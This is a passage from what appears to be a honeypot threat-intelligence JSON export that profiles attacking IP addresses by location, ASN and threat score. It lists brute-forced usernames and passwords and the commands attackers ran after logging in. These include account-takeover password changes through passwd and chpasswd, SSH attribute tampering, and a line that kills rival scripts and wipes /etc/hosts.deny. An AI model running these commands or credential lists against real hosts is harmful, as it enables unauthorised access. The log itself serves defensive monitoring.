        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\nhUIZZX39Ddf7\\nhUIZZX39Ddf7\\n\"|passwd",
        "echo -e \"password\\nhUIZZX39Ddf7\\nhUIZZX39Ddf7\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Dronten",
      "asn": 60404,
      "as_org": "The Infrastructure Group B.V.",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T18:16:29.341000+00:00",
        "last_seen_30d": "2026-03-16T18:46:00.005000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "217.195.200.29": {
      "attack_count": 143,
      "first_seen": "2026-03-29T09:56:18.376Z",
      "last_seen": "2026-03-29T11:37:03.242Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!QAZ@WSX3edc4rfv",
        "345gs5662d34",
        "Cc123456@",
        "Hu123456789",
        "PASSW0RD2026",
        "admfw",
        "asdf1111",
        "eddie123",
        "ggghhh",
        "india",
        "mabite",
        "passpass",
        "rock",
        "root001!",
        "server1!",
        "tarzan",
        "view123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:07x9XRulDrjE\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 199524,
      "as_org": "G-Core Labs S.A.",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 193,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T09:56:18.376000+00:00",
        "last_seen_30d": "2026-03-29T11:38:11.169000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 50
      }
    },
    "161.33.14.134": {
      "attack_count": 127,
      "first_seen": "2026-03-29T21:40:34.094Z",
      "last_seen": "2026-03-29T23:49:11.126Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1234567890987654321",
        "123Admin",
        "1qazXSW@3edc",
        "345gs5662d34",
        "5202414ai",
        "Abcd1234*",
        "User2025",
        "Wh123456789",
        "adminn",
        "jia123456",
        "li123456",
        "xd@123456",
        "yyyyyyyyyy"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:jTicQuxKmwKm\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Osaka",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T21:40:34.094000+00:00",
        "last_seen_30d": "2026-03-29T23:50:17.849000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 127,
        "Suricata": 41
      }
    },
    "31.56.197.248": {
      "attack_count": 124,
      "first_seen": "2026-03-11T11:59:29.041Z",
      "last_seen": "2026-03-11T12:27:49.269Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "n8n",
        "345gs5662d34",
        "firewall",
        "frontend",
        "hik",
        "iptv",
        "it",
        "jino",
        "nuc",
        "root",
        "unity",
        "zw"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "It123!",
        "Pablo123",
        "Zw123",
        "firewall",
        "jino",
        "n8n",
        "password",
        "unitypass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"n8n\\nPW5GILcGMq9j\\nPW5GILcGMq9j\\n\"|passwd",
        "echo -e \"n8n\\nPW5GILcGMq9j\\nPW5GILcGMq9j\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T11:59:29.041000+00:00",
        "last_seen_30d": "2026-03-11T12:28:56.241000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 31
      }
    },
    "103.89.240.251": {
      "attack_count": 119,
      "first_seen": "2026-03-15T01:43:11.587Z",
      "last_seen": "2026-03-15T02:04:30.059Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "tanvir",
        "345gs5662d34",
        "admin",
        "ark",
        "carlos",
        "hik",
        "mcuser",
        "nexus",
        "prova",
        "root",
        "thomas"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "123456",
        "1qaz#EDC",
        "1qazXSW@3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "Hik123!",
        "qwerty"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\n1fH6hmHBEJoM\\n1fH6hmHBEJoM\\n\"|passwd",
        "echo -e \"12345\\n1fH6hmHBEJoM\\n1fH6hmHBEJoM\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 147314,
      "as_org": "IP Communications Limited",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T01:43:11.587000+00:00",
        "last_seen_30d": "2026-03-15T02:05:38.841000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "138.124.158.150": {
      "attack_count": 119,
      "first_seen": "2026-03-19T19:59:05.360Z",
      "last_seen": "2026-03-19T20:21:02.655Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "steam",
        "345gs5662d34",
        "certftp",
        "evan",
        "kevin",
        "prova",
        "qbtuser",
        "qiyuesuo",
        "ram",
        "root",
        "usuario"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Prova123",
        "asdqwe123",
        "certftppass",
        "password",
        "qbtuserpass",
        "qiyuesuo1234",
        "ram@123",
        "steam2023",
        "usuario123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"steam2023\\n5ilpIPr6lhn7\\n5ilpIPr6lhn7\\n\"|passwd",
        "echo -e \"steam2023\\n5ilpIPr6lhn7\\n5ilpIPr6lhn7\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": null,
      "asn": 203217,
      "as_org": "Horizon Scope Mobile Telecom WLL",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T19:59:05.360000+00:00",
        "last_seen_30d": "2026-03-19T20:22:03.685000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "152.200.217.230": {
      "attack_count": 119,
      "first_seen": "2026-03-17T13:45:20.726Z",
      "last_seen": "2026-03-17T14:09:50.419Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "nginx",
        "345gs5662d34",
        "anders",
        "bert",
        "bot1",
        "elasticsearch",
        "nx",
        "ovh",
        "root",
        "vastbase"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Bert123",
        "Zr123456@",
        "anders",
        "elasticsearch1234",
        "nginx123",
        "nginx123!",
        "nxpass",
        "vastbase123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"nginx123!\\nsc6NRB3VyXo0\\nsc6NRB3VyXo0\\n\"|passwd",
        "echo -e \"nginx123!\\nsc6NRB3VyXo0\\nsc6NRB3VyXo0\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T13:45:20.726000+00:00",
        "last_seen_30d": "2026-03-17T14:10:51.286000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "198.199.72.156": {
      "attack_count": 119,
      "first_seen": "2026-03-09T04:37:36.060Z",
      "last_seen": "2026-03-09T04:57:49.195Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "tsbot",
        "345gs5662d34",
        "comunicacao",
        "efs",
        "keycloak",
        "lyt",
        "mailuser",
        "rock",
        "root",
        "vagrant",
        "wei"
      ],
      "passwords_attempted": [
        "1234",
        "123",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Mailuser123",
        "Pass@1234",
        "lyt123",
        "password",
        "rock123!",
        "wei1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nqlD64dBj4O8d\\nqlD64dBj4O8d\\n\"|passwd",
        "echo -e \"12345678\\nqlD64dBj4O8d\\nqlD64dBj4O8d\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T04:37:36.060000+00:00",
        "last_seen_30d": "2026-03-09T04:58:58.267000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "152.53.184.147": {
      "attack_count": 117,
      "first_seen": "2026-03-09T02:37:03.765Z",
      "last_seen": "2026-03-09T02:52:44.584Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "controlm",
        "345gs5662d34",
        "ehsan",
        "elaine",
        "milad",
        "nginx",
        "passbolt",
        "root",
        "sbbs",
        "shadow"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Milad123",
        "Qwertyui1",
        "controlm123!",
        "elaine123!",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"controlm123!\\nWlcJcA4HYwYV\\nWlcJcA4HYwYV\\n\"|passwd",
        "echo -e \"controlm123!\\nWlcJcA4HYwYV\\nWlcJcA4HYwYV\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Austria",
      "country_code": "AT",
      "city": null,
      "asn": 197540,
      "as_org": "netcup GmbH",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 145,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:37:03.765000+00:00",
        "last_seen_30d": "2026-03-09T02:53:53.515000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 117,
        "Suricata": 28
      }
    },
    "206.189.5.192": {
      "attack_count": 95,
      "first_seen": "2026-03-14T11:44:01.634Z",
      "last_seen": "2026-03-14T12:04:45.889Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "backup"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "21",
        "321",
        "4321",
        "54321",
        "654321",
        "Pa$w0rd",
        "Pa$word",
        "Password",
        "admin12",
        "pa$w0rd",
        "passw0rd",
        "qwerty",
        "wasd"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 136,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T11:44:01.634000+00:00",
        "last_seen_30d": "2026-03-14T12:05:50.614000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 95,
        "Suricata": 41
      }
    },
    "101.47.141.12": {
      "attack_count": 88,
      "first_seen": "2026-03-26T02:07:04.363Z",
      "last_seen": "2026-03-26T02:23:07.468Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "cachegrind",
        "harley",
        "merlin",
        "omega"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "345gs5662d34",
        "cachegrind1234",
        "merlin123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"111111\\niOUSDjDXkb6J\\niOUSDjDXkb6J\\n\"|passwd",
        "echo -e \"111111\\niOUSDjDXkb6J\\niOUSDjDXkb6J\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 27.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T02:07:04.363000+00:00",
        "last_seen_30d": "2026-03-26T02:24:13.906000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 15
      }
    },
    "38.188.160.191": {
      "attack_count": 53,
      "first_seen": "2026-03-10T23:19:45.854Z",
      "last_seen": "2026-03-11T00:35:33.561Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "150282",
        "151084",
        "151292",
        "210490",
        "2111",
        "301287",
        "jojo123",
        "lahaine",
        "mamaison",
        "nostalgie"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:19:45.854000+00:00",
        "last_seen_30d": "2026-03-11T00:36:34.231000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 53,
        "Suricata": 27
      }
    },
    "139.135.43.123": {
      "attack_count": 50,
      "first_seen": "2026-03-31T05:33:03.510Z",
      "last_seen": "2026-03-31T05:38:28.019Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T05:33:03.510000+00:00",
        "last_seen_30d": "2026-03-31T05:39:38.134000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "139.135.46.126": {
      "attack_count": 50,
      "first_seen": "2026-03-09T14:51:46.028Z",
      "last_seen": "2026-03-09T14:57:11.470Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T14:51:46.028000+00:00",
        "last_seen_30d": "2026-03-09T14:58:15.475000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.3.2": {
      "attack_count": 50,
      "first_seen": "2026-03-13T20:01:45.024Z",
      "last_seen": "2026-03-13T20:07:12.428Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T20:01:45.024000+00:00",
        "last_seen_30d": "2026-03-13T20:08:15.539000+00:00",
